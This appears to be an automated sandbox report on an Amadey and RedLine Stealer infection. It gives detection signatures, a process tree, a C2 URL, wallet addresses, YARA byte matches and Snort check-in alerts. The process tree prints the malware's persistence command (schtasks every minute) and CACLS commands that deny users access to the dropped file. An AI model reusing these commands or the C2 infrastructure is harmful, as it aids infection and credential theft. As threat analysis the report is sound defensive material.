Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	802001
MD5:	392470d5b5723c386b943751c15721a6
SHA1:	83491316d575cc2a867224532fe25e016d8c3f43
SHA256:	fd0d72d174c13185267e7e38ac8faf1e5b646e5852645e83dcc12a028214a707
Tags:	exe
Infos:

Detection

Amadey, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected Amadey bot

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Amadeys Clipper DLL

Disable Windows Defender real time protection (registry)

Machine Learning detection for sample

Contains functionality to inject code into remote processes

Uses schtasks.exe or at.exe to add and modify task schedules

Disable Windows Defender notifications (registry)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Binary contains a suspicious time stamp

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Uses cacls to modify the permissions of files

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

file.exe (PID: 5152 cmdline: C:\Users\user\Desktop\file.exe MD5: 392470D5B5723C386B943751C15721A6)

bmMg.exe (PID: 5132 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe MD5: 03D901B08C7DE9A3C6323A8C6DF73569)

amMl.exe (PID: 2508 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe MD5: AD3805672C5FE617D88DCE7E50E56B9F)

nika.exe (PID: 5352 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe MD5: 7E93BACBBC33E6652E147E7FE07572A0)

xriv.exe (PID: 588 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 4184 cmdline: "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

schtasks.exe (PID: 5256 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6092 cmdline: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 64 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 760 cmdline: CACLS "mnolyk.exe" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 2056 cmdline: CACLS "mnolyk.exe" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cmd.exe (PID: 4124 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 4900 cmdline: CACLS "..\4b9a106e76" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 3924 cmdline: CACLS "..\4b9a106e76" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

rundll32.exe (PID: 3420 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1536 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 664 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

mnolyk.exe (PID: 4556 cmdline: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 1116 cmdline: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 3232 cmdline: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 4928 cmdline: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

cleanup

Malware Configuration

Threatname: Amadey

{"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}

Threatname: Amadey

{"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000000.402656135.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.519184660.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000000.518847759.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.646081844.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.645377200.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.410254197.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.367095576.0000000000767000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1040:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000010.00000002.785140671.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000001B.00000000.409483823.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000000.400766948.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000024.00000000.773987737.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000024.00000002.774229388.0000000000831000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.261384983.0000000004B55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: mnolyk.exe PID: 4184	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.amMl.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.amMl.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
2.2.amMl.exe.5b0e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.amMl.exe.5b0e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
31.2.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.0.xriv.exe.11d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.0.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.0.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.2.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.amMl.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.amMl.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
28.2.rundll32.exe.6f690000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0.3.file.exe.4bb4820.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.2.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.file.exe.4bb4820.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.0.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.xriv.exe.11d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.3.amMl.exe.5e0000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.3.amMl.exe.5e0000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
16.0.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.0.mnolyk.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 18 entries

Snort Signatures

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449933802027700 02/08/23-21:32:21.545353
SID:	2027700
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449740802027700 02/08/23-21:31:26.105437
SID:	2027700
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449835802027700 02/08/23-21:31:52.859571
SID:	2027700
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449737802027700 02/08/23-21:31:25.346205
SID:	2027700
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449798802027700 02/08/23-21:31:43.430750
SID:	2027700
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449896802027700 02/08/23-21:32:09.795235
SID:	2027700
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449948802027700 02/08/23-21:32:25.249770
SID:	2027700
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449755802027700 02/08/23-21:31:29.861684
SID:	2027700
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449820802027700 02/08/23-21:31:48.811905
SID:	2027700
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449709802027700 02/08/23-21:31:11.416191
SID:	2027700
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449807802027700 02/08/23-21:31:45.583489
SID:	2027700
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449783802027700 02/08/23-21:31:39.747318
SID:	2027700
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449868802027700 02/08/23-21:32:03.033763
SID:	2027700
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449881802027700 02/08/23-21:32:06.188564
SID:	2027700
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449863802027700 02/08/23-21:32:01.828272
SID:	2027700
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449712802027700 02/08/23-21:31:12.121654
SID:	2027700
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449810802027700 02/08/23-21:31:46.341949
SID:	2027700
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449905802027700 02/08/23-21:32:12.384320
SID:	2027700
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449961802027700 02/08/23-21:32:28.958110
SID:	2027700
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449966802027700 02/08/23-21:32:30.274782
SID:	2027700
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449765802027700 02/08/23-21:31:32.555336
SID:	2027700
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449788802027700 02/08/23-21:31:40.954036
SID:	2027700
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449727802027700 02/08/23-21:31:22.887483
SID:	2027700
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449923802027700 02/08/23-21:32:19.023556
SID:	2027700
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449958802027700 02/08/23-21:32:28.145173
SID:	2027700
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449704802027700 02/08/23-21:31:10.105007
SID:	2027700
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449830802027700 02/08/23-21:31:51.265355
SID:	2027700
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449900802027700 02/08/23-21:32:10.776959
SID:	2027700
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449745802027700 02/08/23-21:31:27.438465
SID:	2027700
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449871802027700 02/08/23-21:32:03.779795
SID:	2027700
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449817802027700 02/08/23-21:31:48.055582
SID:	2027700
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449722802027700 02/08/23-21:31:17.801755
SID:	2027700
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449793802027700 02/08/23-21:31:42.202189
SID:	2027700
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

